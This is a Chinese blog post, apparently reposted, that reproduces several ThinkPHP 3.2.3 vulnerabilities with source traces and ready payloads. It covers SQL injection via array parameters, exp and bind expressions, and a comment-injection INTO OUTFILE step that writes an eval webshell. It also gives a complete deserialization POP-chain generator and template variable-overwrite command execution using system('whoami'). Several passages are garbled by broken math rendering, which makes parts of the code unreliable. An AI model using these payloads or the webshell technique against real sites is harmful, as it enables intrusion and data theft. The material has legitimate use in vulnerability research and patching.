【安全漏洞】ThinkPHP 3.2.3 漏洞复现
$this->show 造成命令執(zhí)行
在 Home\Controller\IndexController 下的index中傳入了一個可控參數(shù),跟進(jìn)調(diào)試看一下。
class IndexController extends Controller {public function index($n=''){$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微軟雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>歡迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script></p>Hello '.$n, 'utf-8');} }跟進(jìn) display()
protected function show($content,$charset='',$contentType='',$prefix='') {$this->view->display('',$charset,$contentType,$content,$prefix); }一路跟進(jìn)到 fetch(),然后一路進(jìn)入 Hook::listen(‘view_parse’, $params);
public function fetch($templateFile='', $content='', $prefix='') {if (empty($content)) {$templateFile = $this->parseTemplate($templateFile);// 模板文件不存在直接返回if (!is_file($templateFile)) {E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);}} else {defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());}// 頁面緩存ob_start();ob_implicit_flush(0);if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板$_content = $content;// 模板陣列變量分解成為獨(dú)立變量extract($this->tVar, EXTR_OVERWRITE);// 直接載入PHP模板empty($_content)?include $templateFile:eval('?>'.$_content);} else {// 視圖解析標(biāo)簽$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);Hook::listen('view_parse', $params);}// 獲取并清空緩存$content = ob_get_clean();// 內(nèi)容過濾標(biāo)簽Hook::listen('view_filter', $content);// 輸出模板文件return $content; }關(guān)鍵地方在這,我們之前 index 里的內(nèi)容被存入了緩存文件php文件中,連帶著我們輸入的可控的php代碼也在其中,然后包含了該文件,所以造成了命令執(zhí)行。
public function load($_filename,$vars=null){if(!is_null($vars)){extract($vars, EXTR_OVERWRITE);}include $_filename; }sql注入
/Application/Home/Controller/IndexController.class.php 添加一段SQL查詢代碼。http://localhost/tp323/index.php/Home/Index/sql?id=1 查詢?nèi)肟凇?/p> public function sql() {$id = I('GET.id');$user = M('user');$data = $user->find($id);var_dump($data); }
傳入 id=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–+ ,跟進(jìn)調(diào)試。進(jìn)入 find() 函數(shù),先進(jìn)行一段判斷,傳入的參數(shù)是否是數(shù)字或者字符串,滿足條件的話 $options[‘where’][‘id’]=input。
if(is_numeric($options) || is_string($options)) {$where[$this->getPk()] = $options;$options = array();$options['where'] = $where; }隨后進(jìn)行一個判斷 if (is_array(KaTeX parse error: Expected 'EOF', got '&' at position 10: options) &?& (count(options) > 0) && is_array($pk)),getPk()函數(shù)是查找mysql主鍵的函數(shù),顯然 $pk 值是 id,不滿足條件
$pk = $this->getPk(); // $pk='id' if (is_array($options) && (count($options) > 0) && is_array($pk)) {// }隨后執(zhí)行 $options = this?>parseOptions(this->_parseOptions(this?>p?arseOptions(options); ,
protected function _parseOptions($options=array()) {if (is_array($options)) {$options = array_merge($this->options, $options);}if (!isset($options['table'])) {// 自動獲取表名$options['table'] = $this->getTableName();$fields = $this->fields;} else {// 指定數(shù)據(jù)表 則重新獲取字段列表 但不支持類型檢測$fields = $this->getDbFields();}// 數(shù)據(jù)表別名if (!empty($options['alias'])) {$options['table'] .= ' '.$options['alias'];}// 記錄操作的模型名稱$options['model'] = $this->name;// 字段類型驗(yàn)證if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {// 對數(shù)組查詢條件進(jìn)行字段類型檢查foreach ($options['where'] as $key=>$val) {$key = trim($key);if (in_array($key, $fields, true)) {if (is_scalar($val)) {$this->_parseType($options['where'], $key);}} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {if (!empty($this->options['strict'])) {E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');}unset($options['where'][$key]);}}}// 查詢過后清空sql表達(dá)式組裝 避免影響下次查詢$this->options = array();// 表達(dá)式過濾$this->_options_filter($options);return $options; }先獲取查詢的表的字段和字段類型。
if (!isset($options['table'])) {// 自動獲取表名$options['table'] = $this->getTableName();$fields = $this->fields; }關(guān)鍵代碼在于下面這個判斷里,進(jìn)入 this?>parseType(this->_parseType(this?>p?arseType(options[‘where’], $key) 。
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {// 對數(shù)組查詢條件進(jìn)行字段類型檢查foreach ($options['where'] as $key=>$val) {$key = trim($key);if (in_array($key, $fields, true)) {if (is_scalar($val)) {$this->_parseType($options['where'], $key);}} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {if (!empty($this->options['strict'])) {E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');}unset($options['where'][$key]);}} }這里由于id字段的類型是 int ,所以進(jìn)入第二個分支,將我們的輸入轉(zhuǎn)化為十進(jìn)制,惡意語句就被過濾了,后面就是正常的SQL語句了。
protected function _parseType(&$data,$key) {if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){$fieldType = strtolower($this->fields['_type'][$key]);if(false !== strpos($fieldType,'enum')){// 支持ENUM類型優(yōu)先檢測}elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {$data[$key] = intval($data[$key]);}elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){$data[$key] = floatval($data[$key]);}elseif(false !== strpos($fieldType,'bool')){$data[$key] = (bool)$data[$key];}} }如果我們傳參是傳入一個數(shù)組 id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–+ ,在find() 函數(shù)的第一個判斷就沒有滿足條件不會進(jìn)入這個判斷,此時 $options 就是 $options[where]='1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- ',而沒有上面的鍵 id。
if(is_numeric($options) || is_string($options)) {$where[$this->getPk()] = $options;$options = array();$options['where'] = $where; }然后到下面的關(guān)鍵代碼的判斷 if (isset(KaTeX parse error: Expected 'EOF', got '&' at position 19: …ions['where']) &?& is_array(options[‘where’]) && !empty(KaTeX parse error: Expected 'EOF', got '&' at position 9: fields) &?& !isset(options[‘join’])) ,is_array($options[‘where’]) 顯然是false,因?yàn)榇藭r $options[‘where’] 是一個字符串而不是數(shù)組,所以不會進(jìn)入下面的判斷,也就是說不會進(jìn)入函數(shù) _parseType() 對我們的輸入進(jìn)行過濾。
之后回到 find() 函數(shù)中進(jìn)入 $resultSet = this?>db?>select(this->db->select(this?>db?>select(options);,此時的 $options 就是我們輸入的惡意SQL語句,顯然注入成功。
反序列化 & sql注入
/Application/Home/Controller/IndexController.class.php 添加一段代碼。http://localhost/tp323/index.php/Home/Index/sql?data= 查詢?nèi)肟凇?/p> public function sql() {unserialize(base64_decode($_POST['data'])); }
全局搜索 function __destruct,找一個起點(diǎn)。
在文件:/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php 中找到了 Imagick 類的 __destruct 方法。
public function __destruct() {empty($this->img) || $this->img->destroy(); }這里 $this->img 是可控的,所以我們接著找一下 destroy() 函數(shù)。共有三個,選擇了 ThinkPHP/Library/Think/Session/Driver/Memcache.class.php 中的 Memcache 類的 destroy 函數(shù)。這里有個坑,由于上面調(diào)用 destroy() 函數(shù)時沒有參數(shù)傳入,而我們找到的是有參數(shù)的,PHP7下起的ThinkPHP在調(diào)用有參函數(shù)卻沒有傳入?yún)?shù)的情況下會報錯,所以我們要選用PHP5而不選用PHP7.
public function destroy($sessID) {return $this->handle->delete($this->sessionName.$sessID); }這里handle 可控,那么就接著找 delete 函數(shù)。在 ThinkPHP/Mode/Lite/Model.class.php 的 Model 類中找到了合適的函數(shù),當(dāng)然選用 /ThinkPHP/Library/Think/Model.class.php 中的該函數(shù)也是可以的。我們的目的就是進(jìn)入 this?>delete(this->delete(this?>delete(this->data[$pk])。所以這里只截取了前面部分的代碼。
public function delete($options=array()) {$pk = $this->getPk();if(empty($options) && empty($this->options['where'])) {// 如果刪除條件為空 則刪除當(dāng)前數(shù)據(jù)對象所對應(yīng)的記錄if(!empty($this->data) && isset($this->data[$pk]))return $this->delete($this->data[$pk]);elsereturn false;} }我們想要調(diào)用這個if中的 delete ,就要使得我們傳入的 $options 為空,且 this?>options[′where′]為空,是可控的,所以走到第二個if,this->options['where'] 為空,是可控的,所以走到第二個if,this?>options[′where′]為空,是可控的,所以走到第二個if,this->data 不為空,且 this?>data[this->data[this?>data[pk] 存在,滿足條件就可以調(diào)用 delete(this?>data[this->data[this?>data[pk]) 了。而 $pk 就是 $this->pk ,都是可控的。
之前因?yàn)?destroy() 調(diào)用時沒有參數(shù),使得調(diào)用 delete 函數(shù)參數(shù)部分可控,而現(xiàn)在我們正常帶著參數(shù)進(jìn)入了 delete 函數(shù),就可以接著往下走了。直到運(yùn)行至 $result = this?>db?>delete(this->db->delete(this?>db?>delete(options);,調(diào)用了ThinkPHP數(shù)據(jù)庫模型類中的 delete() 方法。
這里的 $table 是取自傳入的參數(shù),可控,直接拼接到 $sql 中,然后傳入了 $this->execute。
public function delete($options=array()) {$this->model = $options['model'];$this->parseBind(!empty($options['bind'])?$options['bind']:array());$table = $this->parseTable($options['table']);$sql = 'DELETE FROM '.$table;if(strpos($table,',')){// 多表刪除支持USING和JOIN操作if(!empty($options['using'])){$sql .= ' USING '.$this->parseTable($options['using']).' ';}$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');}$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');if(!strpos($table,',')){// 單表刪除支持order和limit$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'').$this->parseLimit(!empty($options['limit'])?$options['limit']:'');}$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }接著調(diào)用 $this->initConnect(true);,隨后是 $this->connect() ,這里是用 $this->config 來初始化數(shù)據(jù)庫的,然后去執(zhí)行先前拼接好的SQL語句。
<?php public function connect($config='',$linkNum=0,$autoConnection=false) {if ( !isset($this->linkID[$linkNum]) ) {if(empty($config)) $config = $this->config;try{if(empty($config['dsn'])) {$config['dsn'] = $this->parseDsn($config);}if(version_compare(PHP_VERSION,'5.3.6','<=')){ // 禁用模擬預(yù)處理語句$this->options[PDO::ATTR_EMULATE_PREPARES] = false;}$this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);}catch (\PDOException $e) {if($autoConnection){trace($e->getMessage(),'','ERR');return $this->connect($autoConnection,$linkNum);}elseif($config['debug']){E($e->getMessage());}}}return $this->linkID[$linkNum]; }所以POP鏈就出來了:
<?phpnamespace Think\Image\Driver{use Think\Session\Driver\Memcache;class Imagick{private $img;public function __construct(){$this->img = new Memcache();}} }namespace Think\Session\Driver{use Think\Model;class Memcache{protected $handle;public function __construct(){$this->handle = new Model();}} }namespace Think{use Think\Db\Driver\Mysql;class Model{protected $options;protected $data;protected $pk;protected $db;public function __construct(){$this->db = new Mysql();$this->options['where'] = '';$this->data['id'] = array("table" => "mysql.user where 1=updatexml(1,user(),1)#","where" => "1=1");$this->pk = 'id';}} }namespace Think\Db\Driver{use PDO;class Mysql{protected $options = array(PDO::MYSQL_ATTR_LOCAL_INFILE => true);protected $config = array("debug" => 1,"database" => "test","hostname" => "127.0.0.1","hostport" => "3306","charset" => "utf8","username" => "root","password" => "root");} }namespace {echo base64_encode(serialize(new Think\Image\Driver\Imagick())); }注釋注入
觸發(fā)注釋注入的調(diào)用為:user=M(′user′)?>comment(user = M('user')->comment(user=M(′user′)?>comment(id)->find(intval($id));。
調(diào)試跟進(jìn)一下,調(diào)用的是 Think\Model.class.php 中的 comment
/*** 查詢注釋* @access public* @param string $comment 注釋* @return Model*/ public function comment($comment) {$this->options['comment'] = $comment;return $this; }之后調(diào)用 Think\Model 的find方法。一直到調(diào)用了 Think\Db\Driver.class.php 中的 parseComment 函數(shù),將我們輸入的內(nèi)容拼接在了注釋中,于是我們可以將注釋符閉合,然后插入SQL語句。此時的SQL語句為 “SELECT * FROMuserWHEREid= 1 LIMIT 1 /* 1 */”
protected function parseComment($comment) {return !empty($comment)? ' /* '.$comment.' */':''; }如果這里沒有 LIMIT 1 的話我們可以直接進(jìn)行union注入,但是這里有 LIMIT 1 ,進(jìn)行union注入會提示 Incorrect usage of UNION and LIMIT,只有同時把union前的SQL查詢語句用括號包起來才可以進(jìn)行查詢,但是顯然我們無法做到,那么我們可以利用 into outfile 的拓展來進(jìn)行寫文件。
"OPTION"參數(shù)為可選參數(shù)選項(xiàng),其可能的取值有: `FIELDS TERMINATED BY '字符串'`:設(shè)置字符串為字段之間的分隔符,可以為單個或多個字符。默認(rèn)值是“\t”。 `FIELDS ENCLOSED BY '字符'`:設(shè)置字符來括住字段的值,只能為單個字符。默認(rèn)情況下不使用任何符號。 `FIELDS OPTIONALLY ENCLOSED BY '字符'`:設(shè)置字符來括住CHAR、VARCHAR和TEXT等字符型字段。默認(rèn)情況下不使用任何符號。 `FIELDS ESCAPED BY '字符'`:設(shè)置轉(zhuǎn)義字符,只能為單個字符。默認(rèn)值為“\”。 `LINES STARTING BY '字符串'`:設(shè)置每行數(shù)據(jù)開頭的字符,可以為單個或多個字符。默認(rèn)情況下不使用任何字符。 `LINES TERMINATED BY '字符串'`:設(shè)置每行數(shù)據(jù)結(jié)尾的字符,可以為單個或多個字符。默認(rèn)值是“\n”。?id=1*/ into outfile “path/1.php” LINES STARTING BY ‘<?php eval($_POST[1]);?>’/* 就可以進(jìn)行寫馬了。
exp注入
觸發(fā)exp注入的查詢語句如下。
public function sql() {$User = D('user');var_dump($_GET['id']);$map = array('id' => $_GET['id']);// $map = array('id' => I('id'));$user = $User->where($map)->find();var_dump($user); }這里一路跟進(jìn)到 parseSql() 函數(shù),然后調(diào)用到 parseWhere() 。
public function parseSql($sql,$options=array()){$sql = str_replace(array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),array($this->parseTable($options['table']),$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),$this->parseField(!empty($options['field'])?$options['field']:'*'),$this->parseJoin(!empty($options['join'])?$options['join']:''),$this->parseWhere(!empty($options['where'])?$options['where']:''),$this->parseGroup(!empty($options['group'])?$options['group']:''),$this->parseHaving(!empty($options['having'])?$options['having']:''),$this->parseOrder(!empty($options['order'])?$options['order']:''),$this->parseLimit(!empty($options['limit'])?$options['limit']:''),$this->parseUnion(!empty($options['union'])?$options['union']:''),$this->parseLock(isset($options['lock'])?$options['lock']:false),$this->parseComment(!empty($options['comment'])?$options['comment']:''),$this->parseForce(!empty($options['force'])?$options['force']:'')),$sql);return $sql; }parseWhere() 調(diào)用了 parseWhereItem() ,截取了部分關(guān)鍵代碼,這里的 val就是我們傳入的參數(shù),所以當(dāng)我們傳入數(shù)組時,val 就是我們傳入的參數(shù),所以當(dāng)我們傳入數(shù)組時,val就是我們傳入的參數(shù),所以當(dāng)我們傳入數(shù)組時,exp 就是數(shù)組的第一個值,如果等于exp,就會使用.直接將數(shù)組的第二個值拼接上去,就會造成SQL注入。
$exp = strtolower($val[0]); ...... elseif('bind' == $exp ){ // 使用表達(dá)式$whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用表達(dá)式$whereStr .= $key.' '.$val[1]; }也就是說當(dāng)我們傳入 ?id[0]=exp&id[1]== 1 and updatexml(1,concat(0x7e,user(),0x7e),1) 時,拼接后的字符串就是 "id = 1 and updatexml(1,concat(0x7e,user(),0x7e),1)",最后的SQL語句也就成了 "SELECT * FROM user WHERE id =1 and updatexml(1,concat(0x7e,user(),0x7e),1) LIMIT 1 ",可以進(jìn)行報錯注入了。
這里使用了全局?jǐn)?shù)組 $_GET 來傳參,而不是tp自帶的 I() 函數(shù),是因?yàn)樵?I() 函數(shù)的最后有這么一句代碼,
is_array($data) && array_walk_recursive($data,'think_filter');調(diào)用了 think_filter() 函數(shù)來進(jìn)行過濾,剛好就過濾了 EXP ,在后面加上了一個空格,那么自然也就無法進(jìn)行上面的流程,不能進(jìn)行注入了。
function think_filter(&$value){// TODO 其他安全過濾// 過濾查詢特殊字符if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){$value .= ' ';} }bind注入
public function sql() {$User = M("user");$user['id'] = I('id');$data['password'] = I('password');$valu = $User->where($user)->save($data);var_dump($valu); }payload:?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
這里一路執(zhí)行到上面的 parseWhereItem() 處,除了exp外,還有一處bind,這里同樣也是用點(diǎn)拼接字符串,但是不同的是這里還拼接了一個冒號。也就是說拼接之后是 "id = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)" 這樣的。
$exp = strtolower($val[0]); ...... elseif('bind' == $exp ){ // 使用表達(dá)式$whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用表達(dá)式$whereStr .= $key.' '.$val[1]; }拼接到SQL語句后是 “UPDATE user SET password=:0 WHERE id = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)”。
隨后在 update() 中調(diào)用了 execute() 函數(shù),執(zhí)行了如下代碼
變量覆蓋導(dǎo)致命令執(zhí)行
觸發(fā)rce的代碼如下。
public function test($name='', $from='ctfshow') {$this->assign($name, $from);$this->display('index'); }先調(diào)用 assign() 函數(shù)。
public function assign($name, $value='') {if (is_array($name)) {$this->tVar = array_merge($this->tVar, $name);} else {$this->tVar[$name] = $value;} }當(dāng)我們傳入 ?name=_content&from=<?php system("whoami")?> 時經(jīng)過 assign() 函數(shù)后就有:$this->view->tVar["_content"]="<?php system("whoami")?>"
display() 函數(shù)跟進(jìn),$content 獲取模板內(nèi)容。
public function display($templateFile='', $charset='', $contentType='', $content='', $prefix='') {G('viewStartTime');// 視圖開始標(biāo)簽Hook::listen('view_begin', $templateFile);// 解析并獲取模板內(nèi)容$content = $this->fetch($templateFile, $content, $prefix);// 輸出模板內(nèi)容$this->render($content, $charset, $contentType);// 視圖結(jié)束標(biāo)簽Hook::listen('view_end'); }這里調(diào)用了 fetch() 函數(shù),有一個if判斷,如果使用了PHP原生模板就進(jìn)入這個判斷,這個就對應(yīng)的是 ThinkPHP\Conf\convention.php 中的 ‘TMPL_ENGINE_TYPE’ => ‘php’,。
public function fetch($templateFile='', $content='', $prefix='') {if (empty($content)) {$templateFile = $this->parseTemplate($templateFile);// 模板文件不存在直接返回if (!is_file($templateFile)) {E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);}} else {defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());}// 頁面緩存ob_start();ob_implicit_flush(0);if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板$_content = $content;// 模板陣列變量分解成為獨(dú)立變量extract($this->tVar, EXTR_OVERWRITE);// 直接載入PHP模板empty($_content)?include $templateFile:eval('?>'.$_content);} else {// 視圖解析標(biāo)簽$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);Hook::listen('view_parse', $params);}// 獲取并清空緩存$content = ob_get_clean();// 內(nèi)容過濾標(biāo)簽Hook::listen('view_filter', $content);// 輸出模板文件return $content; }view->tVar["_content"]="<?php system("whoami")?>" ,因此這里就存在變量覆蓋,將 $_content 覆蓋為了我們輸入的要執(zhí)行的命令。
隨后執(zhí)行 empty($_content)?include templateFile:eval(′?>′.templateFile:eval('?>'.templateFile:eval(′?>′._content); ,此時的 content顯然不為空,所以會執(zhí)行eval(′?>′._content 顯然不為空,所以會執(zhí)行 eval('?>'.c?ontent顯然不為空,所以會執(zhí)行eval(′?>′._content); ,也就造成了命令執(zhí)行。
【免費(fèi)領(lǐng)取網(wǎng)絡(luò)安全學(xué)習(xí)資料】
總結(jié)
以上是生活随笔為你收集整理的【安全漏洞】ThinkPHP 3.2.3 漏洞复现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 告诉你,初学网络安全应该怎样去学呢?安排
- 下一篇: 动态规划算法php,php算法学习之动态